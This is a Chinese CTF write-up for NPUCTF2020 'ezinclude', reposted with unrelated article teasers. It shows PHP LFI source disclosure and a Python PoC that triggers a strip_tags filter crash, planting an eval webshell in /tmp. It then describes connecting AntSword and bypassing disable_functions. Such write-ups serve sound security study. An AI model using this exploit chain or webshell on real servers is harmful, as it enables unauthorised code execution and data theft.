[NPUCTF2020]ezinclude

news2024/11/27 5:39:40

目录

前提知识

信息收集

解题思路


前提知识

PHP LFI 利用临时文件 Getshell 姿势-安全客 - 安全资讯平台

PHP LFI 利用临时文件Get shell

php7 Segment Fault(7.0.0 <= PHP Version < 7.0.28)

PHPINFO特性

信息收集

查看源码

<!--md5($secret.$name)===$pass -->

应该是name进行加盐后哈希然后和pass进行比较

目录扫描

python3 dirmap.py -i 网站 -lcf

dir.php,index.php,index.php/login,config.php

进行参数尝试

/?pass=11a&name=aa121aa

发现修改name会影响到cookie,cookie里面是hash的值

我们尝试将hash的值赋值给pass

window.location.href="flflflflag.php";拿到flflflflag.php

访问时貌似被重定向了,我们抓包看响应

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
include($_GET["file"])</body>
</html>

我们查看该文件的内容

/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

PGh0bWw+CjxoZWFkPgo8c2NyaXB0IGxhbmd1YWdlPSJqYXZhc2NyaXB0IiB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPgogICAgICAgICAgIHdpbmRvdy5sb2NhdGlvbi5ocmVmPSI0MDQuaHRtbCI7Cjwvc2NyaXB0Pgo8dGl0bGU+dGhpc19pc19ub3RfZmw0Z19hbmRf5Ye66aKY5Lq6X3dhbnRzX2dpcmxmcmllbmQ8L3RpdGxlPgo8L2hlYWQ+Cjw+Cjxib2R5Pgo8P3BocAokZmlsZT0kX0dFVFsnZmlsZSddOwppZihwcmVnX21hdGNoKCcvZGF0YXxpbnB1dHx6aXAvaXMnLCRmaWxlKSl7CglkaWUoJ25vbm9ubycpOwp9CkBpbmNsdWRlKCRmaWxlKTsKZWNobyAnaW5jbHVkZSgkX0dFVFsiZmlsZSJdKSc7Cj8+CjwvYm9keT4KPC9odG1sPgo=include($_GET["file"])

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

访问dir.php

<?php
var_dump(scandir('/tmp'));
?>

index.php

?file=php://filter/read=convert.base64-encode/resource=flflflflag.php

<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
	echo '<script language="javascript" type="text/javascript">
           window.location.href="flflflflag.php";
	</script>
';
}else{
	setcookie("Hash",md5($secret.$name),time()+3600000);
	echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>

解题思路

php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。

使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。

该方法仅适用于以下php7版本,php5并不存在该崩溃。

利用条件:

php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
可以获取文件名
源代码将GET参数进行文件包含

poc

import requests
from io import BytesIO

payload = "<?php eval($_POST[1]);?>"
file_data = {'file': BytesIO(payload.encode())}
url = "网址/flflflflag.php?"\
	  +"file=php://filter/string.strip_tags/resource=/etc/passwd"
r = requests.post(url=url, files=file_data, allow_redirects=False)

再次访问dir.php发现phpCOiu6B

用中国蚁剑连接/flflflflag.php?file=/tmp/phpCOiu6B,没有任何内容,应该是disable_functions限制了,我们通过插件进行绕过

在env里面找到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/180745.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【进阶】Spring MVC程序开发

努力经营当下&#xff0c;直至未来明朗&#xff01; 文章目录一、Spring MVC概述1. MVC定义2. MVC和Spring MVC的关系二、为什么要学Spring MVC三、如何学Spring MVC一&#xff09; 实现用户和程序的映射方法1&#xff1a;路由RequestMapping(“/xxx”)方法2&#xff1a; 使用P…

Python纯手动搭建BP神经网络(手写数字识别)

来源&#xff1a;投稿 作者&#xff1a;张宇 编辑&#xff1a;学姐 实验介绍 实验要求&#xff1a; 实现一个手写数字识别程序&#xff0c;如下图所示&#xff0c;要求神经网络包含一个隐层&#xff0c;隐层的神经元个数为15。 整体思路&#xff1a; 主要参考西瓜书第五章神…

一款超赞的算法可视化工具,让算法过程动态展示出来

从文字或者图片中学习算法还是一件很无聊的事。当然&#xff0c;现在有许多很棒的网站可以查看各种算法的动画。然而&#xff0c;对于开发人员来说&#xff0c;如果能将实现算法的代码的实际执行操作通过可视化展现出来&#xff0c;那就是最好不过了。推荐一款开源工具&#xf…

深度学习——编码器

1.复习CNN 在CNN中&#xff0c;输入一张图片&#xff0c;经过多层的卷积层&#xff0c;最后输出层判别图片中的物体的类别。 CNN使用卷积层做特征提取&#xff08;编码&#xff09;&#xff0c;使用Softmax回归做预测&#xff08;解码&#xff09; ①编码器&#xff1a;将输入…

ArrayList扩容机制~

ArrayList()//会使用长度为零的数组 ArrayList(int initialCapacity)//会使用指定容量的数组 public ArrayList(Collection<?extends E>c>//会使用c的大小作为数组容量假设我们设置一个列表的最初容量为10&#xff0c;如下所示&#xff1a; ArrayList<Integer>…

【Python从入门到进阶】5、变量的定义及数据类型

接上篇《4、pycharm的安装及使用》 上一篇我们学习了python编程工具pycharm的安装及基本使用。后续篇章我们正式来学习Python语言的语法和特性&#xff0c;本篇我们主要学习Python变量的定义及数据类型。 一、注释 1、注释介绍 在工作编码的过程中&#xff0c;如果一段代码的…

(深度学习快速入门)第三章第三节4:深度学习必备组件之TensorBoard和标准化技术

文章目录一&#xff1a;TensorBoard&#xff08;1&#xff09;TensorBoard介绍&#xff08;2&#xff09;Pytorch安装TensorBoard&#xff08;3&#xff09;TensorBoard使用&#xff08;4&#xff09;服务器tensorboard本地显示&#xff08;5&#xff09;AutoDL等算力平台tenso…

07技术太卷我学APEX-动态菜单+URL传参数给页面

07技术太卷我学APEX-动态菜单URL传参数给页面 0 应用场景 《技术太卷我学APEX》收集的项目越来越多&#xff0c;我想把【类】【子类】加到导航菜单栏&#xff0c;点击不同的分类菜单栏&#xff0c;对列表进行过滤&#xff0c;也可以全部浏览&#xff0c;如下图&#xff1a; …

JAVA SE复习(第1章 Java概述)

本文笔记来自硅谷柴林燕老师的笔记 只为自己看笔记方便使用 不做他用 目录 第1章 Java概述 1.1 Java语言发展历史&#xff08;记关键点&#xff09; 1.2 Java语言特点&#xff08;后面需要关注和体会&#xff09; 1.3 Java语言跨平台原理&#xff08;理解&#xff09; 1…

4. 网络编程之TCP编程

1. 《计算机网络编程》 我们接触网络编程&#xff0c;肯定是要对网络编程的一些专业术语及基本理论知识是要有所认知的。python网络编程无非是在这些基础理论知识之上给我们提供了一些方便实用的网络库来供我们使用。尽管做了非常底层的封装&#xff0c;并且给我们暴露了上层的…

java IO流之缓冲流详解

缓冲流概述 缓冲流也称为高效流或者高级流。之前我们学习的字节流、字符流可以成为基本流。 作用&#xff1a;缓冲流自带缓冲区、可以提高基本字节流、字符流读写数据的性能。 分类&#xff1a; BufferedInputStream -->字节缓冲输入流 BufferedOutputStream–>字节缓冲输…

ch1_1计算机系统概论

1. 内容安排 1.1 概论 1.2 计算机系统的硬件结构 存储器&#xff0c;I/O 输入与输出&#xff1b;系统总线&#xff1b;CPU 1.3 第三篇 CPU 中央处理器中&#xff0c;所包含的内容&#xff1a; ALU&#xff0c; CUCPU 内部互连寄存器 1.4 CU CU &#xff1a; control uni…

最新虚幻5引擎(UE5)游戏性能的影响详解

Unreal Engine 5 是由 Unreal Engine 公司开发的一款游戏引擎。5 代表引擎的主要版本号。它专为创建多人在线游戏、手机游戏、高端游戏和虚幻应用程序而设计。从图中可以看出&#xff0c;随着场景复杂度的增加&#xff0c;UE5的内存占用会逐渐增加。当然&#xff0c;这并不意味…

Redis简介、数据类型和命令

1 Redis 简介Redis 是一个高性能的 key/value 数据库。它是完全开源免费的&#xff0c;并且遵守 BSD 协议。1.1 Redis 特点不仅支持 key/value 类型的数据&#xff0c;也支持 list,hash,set,zset 等等数据结构。支持持久化&#xff0c;可以把内存数据保存到磁盘上&#xff0c;重…

高并发异步多线程处理例子

用户请求流程 问题点 tomcat 线程资源占满&#xff0c;由于tomcat线程资源有限&#xff0c;每个请求都会经由tomcat线程处理&#xff0c;阻塞至web层处理完才能回收再利用。web层分发至后端服务可能会扩大几倍甚至数百倍的&#xff0c;譬如用户发起请求1w/s&#xff0c;到后端…

JavaEE10-Spring Boot配置文件

目录 1.配置文件作用 2.配置文件的格式 为配置文件安装提示插件 2.1. .properties&#xff08;旧版&#xff0c;默认的&#xff09; 2.1.1.基本语法 PS:配置文件中使用"#"来添加注释信息&#xff0c;2种添加方式&#xff1a; 2.1.2.缺点分析 2.2. .yml&#…

阿里“云开发“小程序(uniCloud)

博主ps&#xff1a; 网上资料少的可怜&#xff0c;哎&#xff0c;腾讯云涨价了&#xff0c;论服务器&#xff0c;我肯定选的阿里&#xff0c;再着你们对比下uniCloud的报价就知道了&#xff0c;如果有钱就另当别论了。 所以这片博文&#xff0c;博主试过之后&#xff0c;先抛出…

Git速成指南

文章目录版本管理工具概念版本管理工具介绍版本管理发展简史SVN(SubVersion)GitGit工作流程图Git安装基本配置为常用指令配置别名&#xff08;可选&#xff09;解决GitBash乱码问题Git常用命令获取本地仓库基础操作指令查看修改的状态&#xff08;status&#xff09;添加工作区…

[翻译]PostgreSQL中的WAL压缩以及版本15中的改进

[翻译]PostgreSQL中的WAL压缩以及版本15中的改进从以开始就一直在尝试对WAL进行不同级别的压缩。自2016年以来内置功能&#xff08;wal_compression&#xff09;就一直存在&#xff0c;几乎所有备份工具都会在传递到备机前对WAL进行压缩。但现在是时候再看看内置的wal_compress…

呦~,这不 SVG 映射反爬么,这你都会?厉害厉害 | 案例 25

在正式学习本篇博客前&#xff0c;先要了解一下什么是 SVG&#xff08;Scalable Vector Graphics&#xff09;&#xff0c;它是一种矢量图形格式&#xff0c;可以用来在网页上创建可伸缩的图形。 使用 SVG 技术实现反爬虫的方法有以下几种&#xff1a; 验证码&#xff1a;使用…